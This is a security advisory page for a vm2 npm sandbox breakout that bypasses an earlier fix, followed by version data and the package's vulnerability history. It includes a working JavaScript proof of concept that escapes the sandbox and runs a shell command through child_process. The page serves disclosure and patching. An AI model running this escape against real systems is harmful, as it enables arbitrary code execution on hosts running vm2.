vm2: Sandbox Breakout Using Dangerous Host Proto Mutators
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.
PoC
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`));Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.11.6 | 3.11.6 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-913- Platform
- npm
- Package
vm2- Disclosed
- 17.08.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-cfcw-xp6x-25gj - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
-
vm2: Sandbox Breakout Using Dangerous Host Proto Mutators this entry
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